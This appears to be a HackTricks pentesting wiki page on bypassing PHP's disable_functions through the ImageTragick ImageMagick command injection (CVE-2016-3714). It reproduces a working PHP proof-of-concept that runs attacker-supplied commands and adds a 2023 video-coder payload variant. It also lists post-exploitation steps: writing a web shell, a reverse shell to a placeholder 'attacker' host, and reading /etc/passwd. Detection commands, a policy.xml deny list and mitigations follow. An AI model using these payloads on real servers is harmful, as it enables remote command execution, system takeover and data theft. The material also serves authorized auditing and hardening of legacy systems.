disable-functions-bypass-imagick-less-than-3-3-0-php-greater-than-5-4-exploit.md (8010B)
1 --- 2 title: "Historical ImageTragick disablefunctions Bypass via Imagick" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Historical ImageTragick `disable_functions` Bypass via Imagick 14 15 > The historical *ImageTragick* command injection (CVE-2016-3714) can be reached when the PHP **Imagick** extension passes crafted content to a vulnerable ImageMagick backend and an unsafe delegate/coder policy permits the required operation. The injected command runs outside PHP's function-dispatch mechanism, so PHP's `disable_functions` directive does not stop it.<sup>[[4]](#references)</sup> 16 > 17 > The original PoC published by RicterZ (Chaitin Security Research Lab) in May 2016 is reproduced below.<sup>[[1]](#references)</sup> It is useful when auditing legacy installations, but neither a current PHP version nor an Imagick extension version alone proves exposure: the ImageMagick backend version, delegate configuration, and active `policy.xml` determine reachability. 18 19 The original Safebuff post is no longer reliably available; the preserved exploit is also mirrored by VFocus.<sup>[[1]](#references)</sup> 20 21 ```php 22 # Exploit Title : PHP Imagick disable_functions bypass 23 # Exploit Author: RicterZ (ricter@chaitin.com) 24 # Versions : Imagick <= 3.3.0 | PHP >= 5.4 25 # Tested on : Ubuntu 12.04 (ImageMagick 6.7.7) 26 # Usage : curl "http://target/exploit.php?cmd=id" 27 <?php 28 // Print the local hardening status 29 printf("Disable functions: %s\n", ini_get("disable_functions")); 30 $cmd = $_GET['cmd'] ?? 'id'; 31 printf("Run command: %s\n====================\n", $cmd); 32 33 $tmp = tempnam('/tmp', 'pwn'); // will hold command output 34 $mvgs = tempnam('/tmp', 'img'); // will hold malicious MVG script 35 36 $payload = <<<EOF 37 push graphic-context 38 viewbox 0 0 640 480 39 fill 'url(https://example.com/x.jpg"|$cmd >$tmp")' 40 pop graphic-context 41 EOF; 42 43 file_put_contents($mvgs, $payload); 44 $img = new Imagick(); 45 $img->readImage($mvgs); // triggers convert(1) 46 $img->writeImage(tempnam('/tmp', 'img')); 47 $img->destroy(); 48 49 echo file_get_contents($tmp); 50 ?> 51 ``` 52 53 --- 54 55 ## Why does it work? 56 57 1. `Imagick::readImage()` invokes the linked ImageMagick parsing stack, which can invoke an external delegate for selected URL/coder operations. Determine whether the deployment reaches linked-library functionality, an external `convert`/`magick` command, or another delegate path rather than assuming one architecture. 58 2. The MVG script sets the *fill* to an external URI. In affected ImageMagick versions, insufficient filtering lets shell metacharacters escape into a delegate command and reach a shell.<sup>[[4]](#references)</sup> 59 3. The delegate command is not a call to PHP's disabled `exec`/`system` functions. `open_basedir` governs PHP's own filesystem operations rather than an already-started delegate process, and `safe_mode` is historical and was removed in PHP 5.4.<sup>[[6]](#references)[[7]](#references)</sup> 60 61 ## Version and policy scope 62 63 * CVE-2016-3714 affects ImageMagick before 6.9.3-10 and the early 7.x releases before 7.0.1-1. Distribution backports mean package versions must be checked against the vendor advisory, not only compared lexically.<sup>[[4]](#references)</sup> 64 * Other delegate command-injection bugs have had different inputs and affected ranges. Do not assume the original MVG payload demonstrates them: 65 * **CVE-2020-29599** – command injection through an unsanitized PDF `-authenticate` value, fixed in 6.9.11-40 and 7.0.10-40.<sup>[[2]](#references)</sup> 66 * **GitHub issue #6338** (2023) – injection in the *video:* delegate.<sup>[[3]](#references)</sup> 67 68 Issue #6338 reported the `video:vsync`/`video:pixel-format` behavior against ImageMagick 7.1.0-1. The issue record does not state a universal fixed version, so verify the distribution's patch status and reproduce the exact input in an isolated lab before reporting it.<sup>[[3]](#references)</sup> 69 70 An earlier version also listed `ps:` and `text:` as coder-family leads. Those identifiers are retained for policy review and targeted testing, but they should not be presented as alternate names for CVE-2020-29599: that CVE concerns an unsanitized PDF `-authenticate` value.<sup>[[2]](#references)[[5]](#references)</sup> 71 72 ## Modern payload variants 73 74 ```php 75 // --- Variant using the video coder discovered in 2023 --- 76 $exp = <<<MAGICK 77 push graphic-context 78 image over 0,0 0,0 'vid:dummy.mov" -define video:pixel-format="rgba`uname -a > /tmp/pwned`" " dummy' 79 pop graphic-context 80 MAGICK; 81 $img = new Imagick(); 82 $img->readImageBlob($exp); 83 ``` 84 85 If command execution is confirmed in an authorized lab, useful impact checks include: 86 87 * **File write** – `... > /var/www/html/shell.php` (write web-shell outside *open_basedir*) 88 * **Reverse shell** – `bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"` 89 * **Enumerate** – `id; uname -a; cat /etc/passwd` 90 91 ## Quick detection & enumeration 92 93 ```bash 94 # PHP side 95 php -r 'echo phpversion(), "\n"; echo Imagick::getVersion()["versionString"], "\n";' 96 97 # System side 98 convert -version | head -1 # ImageMagick version 99 convert -list policy | grep -iE 'mvg|https|video|text' # dangerous coders still enabled? 100 ``` 101 102 An enabled `MVG`, `URL`, `VIDEO`, or delegate entry is attack surface, not proof of exploitation. Confirm the backend package's security status, identify the active policy path in the output, and use a harmless marker command in an isolated test environment. 103 104 ## Mitigations 105 106 1. **Patch/upgrade** – install a currently supported ImageMagick package carrying the vendor/distribution fixes. Upgrade Imagick as well, but remember that the affected parser/delegate code is in ImageMagick. 107 2. **Harden `policy.xml`** – for services processing untrusted images, consider denying all external delegates and allowing only the required web-safe modules. ImageMagick documents that its default security model is allow-unless-denied and that the last matching rule wins.<sup>[[5]](#references)</sup> 108 109 ```xml 110 <policy domain="delegate" rights="none" pattern="*"/> 111 <policy domain="coder" name="MVG" rights="none"/> 112 <policy domain="coder" name="MSL" rights="none"/> 113 <policy domain="coder" name="URL" rights="none"/> 114 <policy domain="coder" name="VIDEO" rights="none"/> 115 <policy domain="coder" name="PS" rights="none"/> 116 <policy domain="coder" name="TEXT" rights="none"/> 117 ``` 118 119 3. **Remove the extension** on untrusted hosting environments. In most web stacks `GD` or `Imagick` is not strictly required. 120 4. Treat `disable_functions` only as *defence-in-depth* – never as a primary sandboxing mechanism. 121 122 ## References 123 124 - [1] [PHP Imagick 3.3.0 `disable_functions` bypass (VFocus mirror)](https://www.vfocus.net/art/list_11_122.html) 125 - [2] [CVE-2020-29599 – ImageMagick shell injection via PDF `-authenticate`](https://nvd.nist.gov/vuln/detail/CVE-2020-29599) 126 - [3] [GitHub ImageMagick issue #6338 – Command injection via video:pixel-format (2023)](https://github.com/ImageMagick/ImageMagick/issues/6338) 127 - [4] [NVD - CVE-2016-3714 (ImageTragick)](https://nvd.nist.gov/vuln/detail/CVE-2016-3714) 128 - [5] [ImageMagick security-policy documentation](https://imagemagick.org/security-policy/) 129 - [6] [PHP manual — `open_basedir`](https://www.php.net/manual/en/ini.core.php#ini.open-basedir) 130 - [7] [PHP manual — removed `safe_mode` feature](https://www.php.net/manual/en/features.safe-mode.php)